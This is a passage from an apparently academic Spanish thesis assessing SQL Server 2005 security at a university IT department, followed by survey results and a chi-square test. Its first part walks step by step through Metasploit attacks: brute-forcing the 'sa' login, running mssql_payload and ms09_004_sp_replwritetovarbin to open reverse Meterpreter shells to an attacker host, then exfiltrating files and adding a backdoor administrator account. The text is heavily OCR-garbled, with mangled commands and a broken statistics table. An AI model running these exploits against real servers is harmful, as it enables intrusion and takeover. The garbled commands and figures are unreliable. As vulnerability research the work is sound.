1 3:1433 LOGIN FAILED: WORKSTATION\sa:7 (Incorrect

1 : 1433 LOGIN FAILED: WORKSTATION\sa:1l2 (Incorrect
1 :1433 - LOGIN FAILED: WORKSTATION\ $ (Incorrect:
1 ;1433 LOGIN FAILED: WORKSTATION\ . 3 (Incorrect:
1 11433 LOGIN FAILED: WORKSTATION\sa 9 (Incorrect:
1

1
1
1
1
1
1
1
1
1
1 +1433 LOGIN FAILED: WORKSTATION\sa: 7 (Incorrect:

Graéfico 5. Ejecucion del exploit “mssql_login”
Elaborado por: Investigador

11433 = < FAILED: WORKSTATION\sa:ryan (Incorrect
11433 - s FAILED: WORKSTATION\sa:Rydberg (Incorrg
11433 C FAILED: WORKSTATION\sa:Ryder (Incorrec!
11433 : FAILED: WORKSTATION\sa:rye (Incorrect:
:1433 5 FAILED: WORKSTATION\sa:s (Incorrect: )

1 : 1433 =5 $ Successtul: WORKSTATION\sa:sa
Scanned 1 of 1 hosts (100% complete)

] Auxiliary module execution completed
auxiliary( ) >

Grafico 6. Ejecucion del exploit “mssql_login” — caso exitoso
Elaborado por: Investigador
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Explotacién de la vulnerabilidad
Pasos

1. Utilizar el exploit “mssql_payload”. Ver grafico 7.

File Edit View Search Terminal Help
msf exploit( ) > use exploit/windows/mssql/mssqlﬁpayloadl

Graéfico 7. Utilizacion del exploit “mssql_payload”
Elaborado por: Investigador

2. Parametrizar el exploit “mssqgl_payload” (ver graficos 8 y 9), con los siguientes

parametros:

RHOSTS: IP del SGBD

USERNAME: Usuario del SGBD

PASSWORD: Password del SGBD

LHOST: IP atacante

LPORT: Puerto atacante (los atacantes utilizan puertos conocidos para no causar

sospechas).

msf exploit( ) > set RHOST 1R

RHOST => 1S

msf exploit( ) > set PASSWORD N

PASSWORD => N

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse tcp allports

PAYLOAD => windows/meterpreter/reverse tcp allports
) > set LHOST 1Ny

msf exploit( ) > set LPORT 433
LPORT => 433

—

Gréfico 8. Configuracion del exploit “mssql_payload”
Elaborado por: Investigador
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Module options (exploit/windows/mssql/mssql payload):

Name Current Setting Required Description

METHOD Which payload del
PASSWORD The password for
RHOST The target addresg
RPORT The target port |
SRVHOST The local host ¢
SRVPORT The local port tc
SSL Negotiate SSL foi
SSLCert Path to a custom
TDSENCRYPTION false Use TLS/SSL

URIPATH The URI to use f¢
USERNAME sa The username to ¢
USE WINDOWS AUTHENT false yes Use windows authe

Payload options (windows/meterpreter/reverse tcp allports):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: ‘'
LHOST i S — yes The listen address
LPORT yes The starting port number to

Grafico 9. Parametros configurados del exploit “mssql_payload”
Elaborado por: Investigador

3. Ejecutar el exploit “mssql_payload”

El resultado de la ejecucion del exploit “mssql_payload” fue exitoso, se logrd

acceder al sistema operativo, como lo muestra el grafico 10 y 11.

msf exploit( ) > exploit
*] Started reverse TCP handler on 1O
:1433 - Command Stager progress
:1433 Command Stager progress
:1433 Command Stager progress
11433 Command Stager progress
:1433 Command Stager progress
11433 Command Stager progress
11433 Command Stager progress
11433 Command Stager progress
: 1433 Command Stager progress

¥
¥

*

*]
]
]
]

"3
]
]
]
]
]

¥

*

Sl el i

¥

1
[
|
[
|
I ¥
1
[
r

It

[

Grafico 10. Ejecucion del exploit “mssql_payload”
Elaborado por: Investigador
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] 1 :1433 - Command Stager progress - 96.76% done (98934/102246 b
*] 1‘:1433 - Command Stager progress - 98.19% done (100400/102246
] 1 :1433 - Command Stager progress - 99.59% done (101827/102246
*] Sending stage (179267 bytes) to 1N

“] 1M : 1433 - Command Stager progress - 100.00% done (102246/102246
]

Meterpreter session 1 opened (1SNESEEND:433 -> 1S :1379) at 201

[
[
[
[
[
[

*

meterpreter > guid
[+] Session GUID: ded694a9-76e0-4aal-a2l17-19ec85e0cfcd
meterpreter >

Gréfico 11. Ejecucion del exploit “mssql_payload” — caso exitoso
Elaborado por: Investigador

Una vez dentro, el atacante tendra disponible todos los permisos de
NTAUTHORITY\SYSTEM (privilegio de nivel més alto) en el servidor local.
Recordemos que todo usuario de base de datos asignado al role sysadmin cuenta
con los permisos NTAUTHORITY\SYSTEM en el servidor local.

Entre la cantidad de acciones que el atacante podria realizar en el servidor local,

estan:

Visualizacion de procesos (ver grafico 12). Ejecutar el comando “ps”

Arch

NT AUTHORIT EM
NT AUTHORIT yicio de red

I —
AUTHORITY\SYSTEM

AUTHORITY\SYSTEM

AUTHORITY
AUTHORIT
AUTHORIY
AUTHORIT
AUTHOR

Grafico 12. Ejecucién comando ps
Elaborado por: Investigador

Listado de procesos (ver gréfico 13). Ejecutar el comando “run

post/windows/gather/enum_applications”
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/gather/enum applications

istalled on SERVER-UTA

Version

SOL

NET Fran ork .3 SP1 (KB953595)
Visual Studio 2007 Tools for Applications ENU (KB946640)
Visual Studio 2667 Tools for Applications ENU (KB946308)
val Studio 2007 Tools for Applications ENU (KB946344)
ual Studio 2007 Tools for Applications - ENU (KBS47540)
Visual Studio 2007 Tools for Applications ENU (KB947789)
la de Microsoft SOL I

NET Framework 2.8 Service Pack 2

Gréfico 13. Listar programas instalados
Elaborado por: Investigador

A continuacidn, se muestra un ejemplo de como un atacante puede visualizar y crear
usuarios en el servidor local.

Acceso a cmd del servidor local (ver gréafico 14). Ejecutar el comando “execute -f
cmd.exe -i -H”

meterpreter > execute -f cmd.exe -i -H

Process 3648 created.

Channel 1 created.

Microsoft Windows
(C) Copyright 1985-2001 Microsoft Corp.

Grafico 14. Ejecucién de comando
Elaborado por: Investigador

Visualizacion de usuarios del servidor local (ver grafico 15). Ejecutar el comando
“net user”

C:\Documents and Settings\IEEM\Escritorio>net user
het user

Cuentas de usuario de \\

Administrador Asistente de ayuda
[nvitado SUPPORT 388945a0
El comando se ha ejecutado con uno o m¥s errores.

Grafico 15. Usuarios del servidor local
Elaborado por: Investigador
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Creacion de usuarios (ver grafico 16). Ejecutar el comando “net /add user

password”

C:\WINDOWS\system32>net user /add prueba password
net user /add prueba password

Se ha completado el comando correctamente.

Gréfico 16. Creacion de usuarios desde linea de comandos
Elaborado por: Investigador

Asignacion de usuarios al grupo administradores (ver grafico 17). Ejecutar el
comando “net localgroup grupo usuario /add”. Mencionado usuario que podria
permitir que el atacante se aduefie del servidor, simplemente cambiando las

contrasefias de los usuarios del grupo administradores utilizadas por la direccion.

C:\WINDOWS\system32>net localgroup administradores prueba /add
net localgroup administradores prueba /add

Se ha completado el comando correctamente.

Gréfico 17. Asignacién de usuario al grupo administradores
Elaborado por: Investigador

Vulneracion del procedimiento extendido “sp_replwritetovarbin”

Herramientas utilizadas

Sistema operativo: Kali Linux

Software: Metasploit v4

Descripcion de la vulnerabilidad

La vulnerabilidad permite el acceso remoto y escala de privilegios a través del

procedimiento extendido ““sp_replwritetovarbin”.

El procedimiento “sp_replwritetovarbin” puede ser ejecutado por cualquier usuario

y nivel de privilegios del SGBD, el atacante puede aprovechar esta ventaja y
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combinando técnicas de inyeccion SQL puede obtener el acceso remoto al servidor
que aloja el SGBD. Incluso funcionarios malintencionados con acceso al servidor

(usuario y contrasefia de ingreso) podrian explotar esta vulnerabilidad.

Explotacion de la vulnerabilidad

Pasos

1. Utilizar el exploit “ms09 004 _sp_replwritetovarbin”. Ver gréafico 18

>

> @se exploit/windows/mssql/ms@9 004 sp replwritetovarbin

Gréfico 18. Utilizacion de “ms09_004 sp replwritetovarbin”
Elaborado por: Investigador

2. Parametrizar el exploit “ms09_004_sp_replwritetovarbin (ver graficos 19, 20 y

21), con los siguientes parametros:

RHOSTS: IP del SGBD

USERNAME: Usuario del SGBD

PASSWORD: Password del SGBD

LHOST: IP atacante

LPORT: Puerto atacante (los atacantes utilizan puertos conocidos para no causar

sospechas).

sf > use exploit/windows/mssql/ms@9 004 sp replwritetovarbin

sf exploit( ) > set RHOST 1R
HOST => 192.168.0.3

sf exploit( ) > set USERNAME prueba alex
ERNAME => prueba alex

f exploit( ) > set PASSWORD sa

SSWORD => sa

S
S

~—

Gréfico 19. Parametrizacion de “ms09 004 _sp_replwritetovarbin” (A)
Elaborado por: Investigador
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File Edit View Search Terminal Help

msf exploit( ) > set LHOST 1IN °
LHOST => 192.168.0.9

msf exploit( ) > set LPORT 433

LPORT => 433
msf exploit( ) > D

Gréfico 20. Parametrizacion de “ms09 004 sp_replwritetovarbin” (B)
Elaborado por: Investigador

File Edit View Search Terminal Help
msf exploit( ) > show options

Module options (exploit/windows/mssql/ms@9 004 sp replwritetova

Name Current Setting Required Description
PASSWORD

RHOST yes

RPORT 1433 yes

TDSENCRYPTION false yes TLS/SSL =
USERNAME prueba alex no username
USE WINDOWS AUTHENT false yes windows

Payload options (windows/meterpreter/reverse tcp allports):

Name Current Setting Required Description

EXITFUNC seh Exit technique (Accepte(
LHOST 1 © yes The listen address
LPORT 433 yes The starting port numbe

Grafico 21. Configuracion de “ms09_004 sp_replwritetovarbin”
Elaborado por: Investigador

3. Ejecutar el exploit “ms_09_004_sp_replwritertovarbin”
El resultado de la ejecucién del exploit “ms_09 004 sp_replwritertovarbin” en

SQL Server 2005 (version utilizada en la DITIC) fue exitoso, se logré acceder al

sistema operativo remotamente, como lo muestra el grafico 22.
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msf exploit(

%
¥

*

meterpreter > |:|

) > exploit

Started reverse TCP handler on 1/ N :433
«] 1 : 1433 - Attempting automatic target detection...

Sending stage (179267 bytes) to 1NN
*] Meterpreter session 1 opened | (10433 -> 1 :1074)

Grafico 22. Ejecucion de “ms09 004 sp replwritetovarbin”

Elaborado por: Investigador

[*]

[*]

[+] 1NN :1433 - Automatically detected target "MSSQL 2005 SPO (
[+*] 1MEEEEN:1433 - Redirecting flow to 0x10e860f via call to our f
[*]
[*]

Ya en el servidor, el atacante dispone de los permisos de NTAUTHORITY\

SYSTEM sin importar con que usuario de SQL Server realizé el ataque.

A continuacién, se lista algunas acciones que podria realizar el atacante en el

servidor:

Listar archivos. Ver gréafico 23

File Edit View Search Terminal

meterpreter > 1s
C:\WINDOWS\system32

100666/ rw-rw-rw-
40777/ TWXIrwX rwx
40777/ rwWwXrwxrwx
40777/ rwXrwxrwx
40777/ rwWwXrwxrwx
40777/ TWXIrwWwX rwx
40777/ rwXrwxXrwx
40777/ rwXrwxrwx
40777/ rwWXrwxrwx
100666/ rw-rw-rw-
100666/ rw-rw-rw-
40777/ rWXTrwX rwx
40777/ rwWwXrwxrwx
40777/ rwXrwxrwx
40777/ rwXrwxrwx
100666/ rw-rw-rw- 100352

Grafico 23. Listar archivos
Elaborado por: Investigador

Help

Last modified

2017-06-27
2017-06-27
2017-06-27
2017-06-27
2017-06-28
2017-06-27
2017-06-27
2017-06-27
2017-06-27
2008-04-14
2008-04-14
2017-06-27
2017-06-27
2017-06-27
2017-06-27
2008-04-14
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Descargar archivos. Ver grafico 24

Applications « Places v [ Terminal Fri 12:40

root@kali: ~

File Edit View Search Terminal Help
meterpreter > download c:\\boot.ini

[*] Downloading: c:\boot.ini -> boot.ini
[*] skipped : c:\boot.ini -> boot.ini
meterpreter > |

Grafico 24. Descargar archivos
Elaborado por: Investigador

Cargar archivos. Ver grafico 25

root@kali: ~

File Edit View Search Terminal Help

meterpreter > upload /root/diccionario.txt

[*] uploading : /root/diccionario.txt ->

[#] uploaded : /root/diccionario.txt -> .\diccionario.txt

meterpreter >

Gréfico 25. Cargar archivos
Elaborado por: Investigador

Ejecutar comandos (ver grafico 26 y 27). A través del acceso al “cmd” del servidor
local y la creacion de usuarios con privilegios de administrador, el atacante puede

apropiarse del servidor.

rootbkali; ~

Copyright 1985-2001 MICrosOTT CO

C:\WINDOWS\system3 2>

Grafico 26. Ejecucién de comandos
Elaborado por: Investigador
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C:\WINDOWS\system32>net user prueba password /add
net user prueba password /add
Se ha completado el comando correctamente.

C:\WINDOWS\system32>net localgroup administradores prueba /add
net localgroup administradores prueba /add
Se ha completado el comando correctamente.

Gréfico 27. Elevacion de privilegios
Elaborado por: Investigador

Sistemas de informacién

Laudon y Laudon (2004 citado en Fernandez, 2006), definen a los sistemas de

informacién como:

Un conjunto de componentes interrelacionados que recolectan (o recuperan),
procesan, almacenan y distribuyen informaciéon para apoyar la toma de
decisiones y el control de una organizacion. Ademas de apoyar la toma de
decisiones, la coordinacion y el control, los sistemas de informacion también
pueden ayudar a los gerentes y trabajadores a analizar problemas, a visualizar
asuntos complejos y a crear productos nuevos (p. 12).

2.5 Hipdtesis

Las caracteristicas de SQL Server 2005 inciden en la seguridad de los datos de la

Direccion de Tecnologia de Informacién y Comunicacion de la UTA.

2.6 Sefialamiento de variables

Variable Independiente: Caracteristicas de SQL Server 2005
Variable Dependiente: Seguridad de los datos
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CAPITULO Il

METODOLOGIA

3.1. Enfoque

La investigacion es cuantitativa porque se utilizé parametros de medicion para la

variable dependiente y es cualitativa porque se emitid juicios de valor sobre la

investigacion.

3.2. Modalidad basica de investigacion

La investigacion es bibliografica porque se utilizd fuentes como libros,
documentos, articulos, revistas, etc., para la construccion del marco teérico tanto de
las caracteristicas de SQL Server 2005 como de la seguridad de los datos de la
DITIC de la UTA.

La investigacion ademas tiene la modalidad de campo porque se busco obtener la

informacion de las caracteristicas de SQL Server 2005 y la seguridad de los datos
de la DITC de la UTA en el lugar de los hechos.

3.3. Nivel o tipo de investigacion

Investigacion exploratoria

Porque se analizo el problema y se buscé obtener una posible solucion.

Investigacion descriptiva

Porque se proceso y analizé la informacion obtenida de la aplicacion de encuestas,

cuestionarios, etcétera para la especificacion del problema.
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Investigacion explicativa

Porque se buscd la razon del porque las vulnerabilidades en la seguridad de los
datos de la DITIC de la UTA, partiendo de lo general a lo especifico (Método
inductivo) y de lo especifico a lo general (Método deductivo).

Investigacion correlacional

Porque busco medir el grado de relacion existente entre las caracteristicas de SQL
Server 2005 y la seguridad de los datos en la DITIC de la UTA.

3.4. Poblacion y muestra

El presente proyecto trabajé con la poblacion total, que es el grupo de profesionales
encargados de la administracion de base de datos y desarrolladores de software de

la Direccion de Tecnologia de Informacion y Comunicacion de la UTA. (Ver

cuadro 3)
PROBLACION NUMERO(FRECUENCIA) PORCENTAJE
Administradores de Base de
4 57,14%

Datos
Director DITIC 1 14,29%
Administrador de Seguridad

. 2 28,57%
Informatica.
TOTAL 7 100.00 %

Cuadro 3. Poblacion
Elaborado por: Investigador
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3.5. OPERACIONALIZACION DE LAS VARIABLES
3.1.1. Variable independiente: Caracteristicas de SQL Server 2005.

¢Al finalizar el contrato de soporte
con SQL Server 2005, la
desactualizacion de la herramienta
generaria que los datos de la DITIC
queden vulnerables para ataques
informaticos exitosos?

- A TECNICASE
CONCEPTUALIZACION DIMENSIONES INDICADORES ITEMES BASICOS INSTRUMENTOS
SQL Server 2005, es un SGBD Estandar Estandar ¢Las caracteristicas del SQL Server
que fue desarrollado bajo altos 2005 le permiten cumplir con los
estandares de seguridad y en todo actuales estandares internacionales de
su ciclo de vida fue seguridad de la informacién?
constantemente supervisado y
soportado poOr Microsoft.

Seguridad Seguridad (En mat_r’iculacién estud_iantil, _ _
evaluacion docente, registro de notas Encuesta — Cuestionario
u otro escenario en el cual se requiera dirigida a:
un nivel alto de seguridad. SQL Administradores de BD
Server 2005 esta dotado para cumplir Director DITIC
€505 requerimientos? Administradores de
Seguridad Informatica
Soporte Soporte

Cuadro 4. OPERACIONALIZACION DE LA VARIABLE INDEPENDIENTE

Elaborado por: Investigador
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3.1.2. Variable dependiente:

Seguridad de los datos.

CONCEPTUALIZACION

DIMENSIONES

INDICADORES

ITEMES BASICOS

TECNICASE
INSTRUMENTOS

Son medidas de control que
permiten asegurar el acceso
autorizado a las bases de datos y
reducir de alguna manera ataques
informéticos exitosos. El
administrador de base de datos es
el encardado del mantenimiento
preventivo de los SGBD con la
finalidad de corregir nuevas
vulnerabilidades que podrian
presentarse.

Ataque informatico

Mantenimiento

Medidas de Control

Ataque informatico

Mantenimiento

Control

¢Las bases de datos en SQL Server
2005 de la UTA han sufrido algin
tipo de ataque informatico?

¢Existe algtin proceso de
mantenimiento preventivo frente a
nuevas vulnerabilidades que podria
presentar SQL Server 2005?

¢Las bases de datos en SQL Server
2005 de la DITIC cuentan con
medidas de control de seguridad
gue permitan detectar nuevas
amenazas a las que se expone sus
datos?

Encuesta — Cuestionario
dirigida a:

Administradores de BD
Director DITIC
Administradores de
Seguridad Informatica.

Cuadro 5. OPERACIONALIZACION DE LA VARIABLE DEPENDIENTE

Elaborado por: Investigador.
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3.6. Recoleccion de informacion

En el cuadro 6, se ilustra la recoleccion de informacion

PREGUNTAS BASICAS

EXPLICACION

¢Para qué?

Para alcanzar los objetivos de la

investigacion

¢De qué personas u objetos?

Administradores de BD
Director DITIC
Administradores de Seguridad

Informatica.

¢Sobre qué aspectos?

Sobre los indicadores (Matriz de

operacionalizacion de variables)

¢Quién, Quiénes?

Paucar Medina Alex Ricardo

¢ Qué técnicas de recoleccion?

¢Cuando? Cuarto trimestre del 2016
¢Dbnde? Universidad Técnica de Ambato
¢ Cuantas veces? Una

Encuesta

Observacion

Revision de documentacion

¢Con que?

Cuestionario
Guia de Entrevista

Inspecciones

¢En qué situacion?

Mientras cumplen sus funciones

Cuadro 6. Recoleccion de la informacion.
Elaborado por: Investigador
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3.7. Procesamiento y analisis

Procesamiento de la informacion

1. Revisidn critica de la informacion recogida; es decir, limpieza de la informacion

defectuosa: contradictoria, incompleta, no pertinente, etc.

2. Repeticion de la recoleccidn, en ciertos casos individuales, para corregir fallas

de contestacion.

3. Tabulacién o cuadros segun variables de cada hipétesis: cuadros de una sola

variable, cuadro con cruce de variables, etc.

4. Manejo de informacién (reajuste de cuadros con casillas vacias o con datos tan

reducidos cuantitativamente, que no influyen significativamente en los analisis).

5. Estudio estadistico de datos para presentacion de resultados.

Analisis de Resultados

6. Andlisis de los resultados estadisticos, destacando tendencias o relaciones

fundamentales de acuerdo con los objetivos e hipotesis.

7. Interpretacion de los resultados, con apoyo del marco tedrico, en el aspecto

pertinente.

8. Comprobacion de hipotesis para la verificacion estadistica conviene seguir la
asesoria de un especialista.

9. Establecimiento de conclusiones y recomendaciones.
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CAPITULO IV

ANALISIS E INTERPRETACION DE RESULTADOS

4.1 Anélisis e interpretacion de resultados

A continuacion, se muestra los resultados obtenidos de la aplicacion de la encuesta;
a los Administradores de Base de Datos, Administradores de Seguridad Informatica
y al Director de la Direccién de Tecnologia de Informacion de la UTA.

Pregunta 1

¢Las caracteristicas del SQL Server 2005 le permiten cumplir con los actuales

estandares internacionales de seguridad de la informacion?

ALTERNATIVAS |FRECUENCIA | PORCENTAJE
Sl 0 0
NO 7 100
TOTAL 7 100

Cuadro 7. Estandares SQL Server 2005
Elaborado Por: Investigador

¢Las caracteristicas del SQL Server 2005 le
permiten cumplir con los actuales estdndares
internacionales de seguridad de la informacién?

Sl

NO
2

0

Gréfico 28. Estandares SQL Server 2005
Elaborado por: Investigador

Anélisis

El 100% de los encuestados afirma que las caracteristicas del SQL Server 2005 no
le permiten cumplir con los actuales estandares internacionales de seguridad de la
informacion.

Interpretacion

SQL Server 2005 no cumple con los actuales estandares internacionales de
seguridad de la informacion que permitan garantizar el aseguramiento, la
confidencialidad e integridad de los datos de la DITIC.
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Pregunta 2.
¢En matriculacion estudiantil, evaluacion docente, registro de notas u otro escenario
en el cual se requiera un nivel alto de seguridad. SQL Server 2005 esta dotado para

cumplir esos requerimientos?

ALTERNATIVAS | FRECUENCIA | PORCENTAJE
Sl 0 0
NO 7 100
TOTAL 7 100

Cuadro 8. Exigencia de seguridad SQL Server 2005
Elaborado por: Investigador

¢En matriculacion estudiantil, evaluacidn
docente, registro de notas u otro escenario en el
cual se requiera un nivel alto de seguridad. SQL
Server 2005 esta dotado para cumplir esos...

10

m S|

mNO

Gréfico 29. Exigencia de seguridad SQL Server 2005
Elaborado por: Investigador

Andlisis
El 100% de los encuestados afirma que, en matriculacién estudiantil, evaluacion
docente, registro de notas u otro escenario en el cual se requiera un nivel alto de

seguridad; SQL server no esta dotado para cumplir con los requerimientos.
Interpretacion

Se ratifica que SQL Server 2005 no estd dotado con las caracteristicas que le

permitan ofrecer un alto nivel de seguridad en todo escenario.
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Pregunta 3.
¢Al finalizar el contrato de soporte con SQL Server 2005, la desactualizacion de la

herramienta generaria que los datos de la DITIC queden vulnerables para ataques
informaticos exitosos?

ALTERNATIVAS | FRECUENCIA | PORCENTAJE
Sl 7 100
NO 0 0
TOTAL 7 100

Cuadro 9. Desactualizacion SQL Server 2005
Elaborado por: Investigador

¢Al finalizar el contrato de soporte con SQL Server
2005, la desactualizacion de la herramienta
generaria que los datos de la DITIC queden
vulnerables para ataques informaticos exitosos?

10

m S|

ENO

Grafico 30. Desactualizacion SQL Server 2005
Elaborado por: Investigador

Andlisis
El 100% de los encuestados afirma que, al finalizar el contrato de soporte con SQL
Server 2005, la desactualizacién de la herramienta generaria que los datos de la

DITIC queden vulnerables para ataques informaticos exitosos.

Interpretacion
La finalizacion del contrato de soporte con SQL Server 2005 y en consecuencia la
desactualizacion de la herramienta, dejarian a los datos de la DITIC vulnerables

para ataques informaticos exitosos.
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Pregunta 4.
¢Las bases de datos en SQL Server 2005 han sufrido algin tipo de ataque

informatico?

ALTERNATIVAS | FRECUENCIA | PORCENTAJE
Sl 6 85,71
NO 1 14,29
TOTAL 7 100

Cuadro 10. Ataque informético.
Elaborado por: Investigador

éLas bases de datos en SQL Server 2005 han sufrido
algun tipo de ataque informatico?

LN

mNO

Grafico 31. Ataque informatico
Elaborado por: Investigador

Analisis

Del 100% de los encuestados, el 85.71% afirma que, las bases de datos en SQL
Server 2005 han sufrido algun tipo de ataque informatico; mientras que el 14.29%
afirma que, las bases de datos en SQL Server 2005 no han sufrido algun tipo de
ataque informatico.

Interpretacion

Se evidencia que las bases de datos en SQL Server 2005, en un momento dado han
sufrido un cierto tipo de ataque informatico que no necesariamente fue exitoso.
Factor de riesgo que pone en evidencia la importancia de la correcta gestion de la
seguridad en la DITIC.
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Pregunta 5
¢Existe algin proceso de mantenimiento preventivo frente a nuevas

vulnerabilidades que podria presentar SQL Server 2005?

ALTERNATIVAS |FRECUENCIA | PORCENTAJE
Sl 0 0
NO 7 100
TOTAL 7 100

Cuadro 11. Vulnerabilidades SQL Server 2005
Elaborado por: Investigador

¢Existe algln proceso de mantenimiento
preventivo frente a nuevas vulnerabilidades que
podria presentar SQL Server 20057

LN

ENO

Gréfico 32. Vulnerabilidades SQL Server 2005
Elaborado por: Investigador

Analisis
El 100% de los encuestados afirma que, no existe algun proceso de mantenimiento
preventivo frente a nuevas vulnerabilidades que podria presentar SQL Server 2005.

Interpretacion

Los resultados evidencian que la DITIC no cuenta con procesos de mantenimiento
preventivo frente a nuevas vulnerabilidades que podria presentar SQL Server 2005,
vulnerabilidades que podrian ser la puerta de acceso para ataques informaticos

exitosos y un serio problema en la seguridad de la informacién.
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Pregunta 6.
¢Las bases de datos en SQL Server 2005 de la DITIC cuentan con medidas de

control de seguridad que permitan detectar nuevas amenazas a las que se expone

sus datos?
ALTERNATIVAS | FRECUENCIA | PORCENTAJE
Sl 0 0
NO 7 100
TOTAL 7 100

Cuadro 12. Medidas de control y seguridad
Elaborado por: Investigador

éLas bases de datos en SQL Server 2005 de la
DITIC cuentan con medidas de control de
seguridad que permitan detectar nuevas
amenazas a las que se expone sus datos?

10

LN

B NO

Gréfico 33. Medidas y control de seguridad
Elaborado por: Investigador

Andlisis
El 100% de los encuestados afirma que, las bases de datos en SQL Server 2005 de
la DITIC no cuentan con medidas de control de seguridad que permitan detectar

nuevas amenazas a las gue Se expone sus datos.

Interpretacion
Se evidencia que las bases de datos en SQL Server 2005 de la DITIC no cuentan
con medidas de control de seguridad que permitan detectar nuevas amenazas a las

que se expone sus datos.
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Interpretacion de resultados
4.2 Verificacion de la hipétesis

Las caracteristicas de SQL Server 2005 inciden en la seguridad de los datos de la

Direccién de Tecnologia de Informacion y Comunicacion de la UTA.

Ho:  Las caracteristicas de SQL Server 2005 NO inciden en la seguridad de los
datos de la Direccion de Tecnologia de Informacion y Comunicacion de la
UTA.

Hi:  Las caracteristicas de SQL Server 2005 Sl inciden en la seguridad de los
datos de la Direccién de Tecnologia de Informacion y Comunicacion de la
UTA.

4.2.1 Modelo estadistico
Se aplico la prueba de Chi — Cuadrado para la comprobacién de la hipotesis.

Formula aplicada:

- s

E

En donde:

x?= Chi — Cuadrado

O = Frecuencias observadas
E = Frecuencias esperadas

> = Sumatoria

4.2.2 Definicion del nivel de significancia

El nivel de significancia que se trabajo en la presente investigacion es del 5%, o =

0,05
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Para determinar la relacion existente entre las Caracteristicas de SQL Server 2005

y la seguridad de los datos de la Direccion de Tecnologia de Informacion y

Comunicacion de la UTA, se procedio a seleccionar dos preguntas del cuestionario

planteado, a continuacion, se listan mencionadas preguntas.

Pregunta 2. ;En matriculacién estudiantil, evaluacion docente, registro de notas u

otro escenario en el cual se requiera un nivel alto de seguridad. SQL Server 2005

estd dotado para cumplir esos requerimientos?

Pregunta 6. ;Las bases de datos en SQL Server 2005 de la DITIC cuentan con

medidas de control de seguridad que permitan detectar nuevas amenazas a las que

se expone sus datos?

4.2.3 Frecuencias observadas

En el cuadro 13, se ilustra las frecuencias observadas.

FRECUENCIAS

VARIABLE PREGUNTAS
SI | NO | TOTAL

¢En matriculacién estudiantil, evaluacién docente, registro de

notas u otro escenario en el cual se requiera un nivel alto de 0 7 7
Variable seguridad. SQL Server 2005 esta dotado para cumplir esos
Independiente requerimientos?

¢Las bases de datos en SQL Server 2005 de la DITIC cuentan | 7 0 7
Variable con medidas de control de seguridad que permitan detectar
Dependiente nuevas amenazas a las que se expone sus datos?

TOTAL 7 7 14

Cuadro 13. Frecuencias observadas
Elaborado por: Investigador
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4.2.4 Frecuencias esperadas

En el cuadro 14 y cuadro 15, se ilustra las frecuencias esperadas.

VARIABLE

FRECUENCIAS

PREGUNTAS

Si

NO

TOTAL

Variable
Independiente

En matriculacién estudiantil,
evaluacion docente u otro escenario
en la UTA donde mayor seguridad
se exija a SQL Server 2005; éste
puede cumplir estos requerimientos

(0+7)*(0+7)/14

(7+0)*(7+0)/14

Variable
Dependiente

¢Las bases de datos en SQL Server
2005 de la DITIC cuentan con
medidas de control de seguridad
que permitan detectar nuevas
amenazas a las que se expone sus
datos?

(7+0)*(7+0)/14

(0+7)*(0+7)/14

TOTAL

Cuadro 14. Frecuencias esperadas (1)
Elaborado por: Investigador

FRECUENCIAS

VARIABLE PREGUNTAS
SI | NO | TOTAL
Variable ¢En matriculacion estudiantil, evaluacién docente,
Independiente registro de notas u otro escenario en el cual se requiera | 3,5 | 3,5 7
P un nivel alto de seguridad. SQL Server 2005 esta dotado
para cumplir esos requerimientos?
. ¢Las bases de datos en SQL Server 2005 de la DITIC
Variable cuentan con medidas de control de seguridad que 35|35 7
Dependiente | permitan detectar nuevas amenazas a las que se expone
sus datos?
TOTAL 7 7 14

Cuadro 15. Frecuencias esperadas (2)

Elaborado por: |

nvestigador
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4.25 Prueba Chi — Cuadrado

Una vez determinadas las frecuencias esperadas, se procedio a calcular el Chi -

Cuadrado, ver cuadro 16.

VARIABLE | PREGUNTAS CALCULOS
o) E (O-E) | (O-E)2 (O -E)2/E
VI SI 0 35 -35 12,25 35
NO 7 35 35 12,25 35
VD SI 7 35 35 12,25 35
NO 0 35 -35 12,25 35
TOTAL 14 14 0 49 14,00

Cuadro 16. Calculo del Chi — Cuadrado
Elaborado por: Investigador

El Chi — Cuadrado Calculado es: 14,00

4.2.6 Especificacion de los grados de libertad

Para determinar los grados de libertad, se aplicé la siguiente formula:

gl = (Numero de columnas - 1) * (NUmero de filas -1)

gl = (2-1)*(2-1)
gl=1

Con el grado de libertad obtenido, el valor del Chi Cuadrado de acuerdo a la tabla

de distribucion de frecuencias es de 3,8415, en la tabla 1 se ilustra el valor obtenido.

vipl 0,001 | 0,0025 | 0,005 0,01 0,025 0,05 0.1 0,15
C 1 ) 108274 | 91404 | 78794 | 66349 | 50239 | 38415 | 27058 | 2,072
C 2 | 138150 | 11,9827 | 105965 | 92104 | 73778 | 59915 | 46052 | 37942
L3 ] 162660 | 143202 | 128381 | 113449 | 93484 | 78147 | 62514 | 83170
L4 | 184662 | 16,4238 | 148602 | 132767 | 11,1433 | 94877 | 77794 | 67449
| S ] 205147 | 183854 | 167496 | 150863 | 128328 | 11,0705 | 9.2363 | 8.1152
L6 ) 224575 | 202491 | 185478 | 168119 | 144494 | 125916 | 10,6446 | 9.4461
7 | 243213 | 220402 | 202777 | 184753 | 16,0128 | 14,0671 | 12,0170 | 10,7479
8 | 261239 | 237742 | 21,9549 | 20,0002 | 17,5345 | 155073 | 13,3616 | 12,0271
9 | 278767 | 254625 | 23,5893 | 21,6660 | 190228 | 169190 | 14,6837 | 13,2880

Tabla 1. Tabla de distribucién de frecuencias

Fuente: http://labrad.fisica.edu.uy/docs/tabla_chi_cuadrado.pdf
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4.2.7 Decision estadistica

En el grafico 34, se representa los valores obtenidos segtin Chi - Cuadrado.

ZONA DE
RECHAZO DE Hyp
ZONA DE

ECHAZO DE Hg

ZONA DE
ACEPTACION DE Ho
ZONA DE

ACEPTACION DE

1
-00 0

-3,84 3,84 14,00
thab xZ

Gréfico 34. Zona de aceptacion y rechazo segin Chi — Cuadrado
Elaborado por: Investigador

X2ap = Valor obtenido de la tabla de distribucion de Chi — Cuadrado. (Ver Tabla 1.
Tabla de distribucién de frecuencias)

X2 = Valor obtenido del calculo de Chi — Cuadrado. (Ver Cuadro 16. Calculo del
Chi — Cuadrado)

Si X%> X?tap se rechaza Ho y se acepta Ha.

14,00 > 3.84

Entonces se rechaza Ho y se acepta Hi, lo que determina que, las caracteristicas de

SQL Server 2005 Sl inciden en la seguridad de los datos de la Direccidn de

Tecnologia de Informacion y Comunicacion de la UTA.
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CAPITULO V

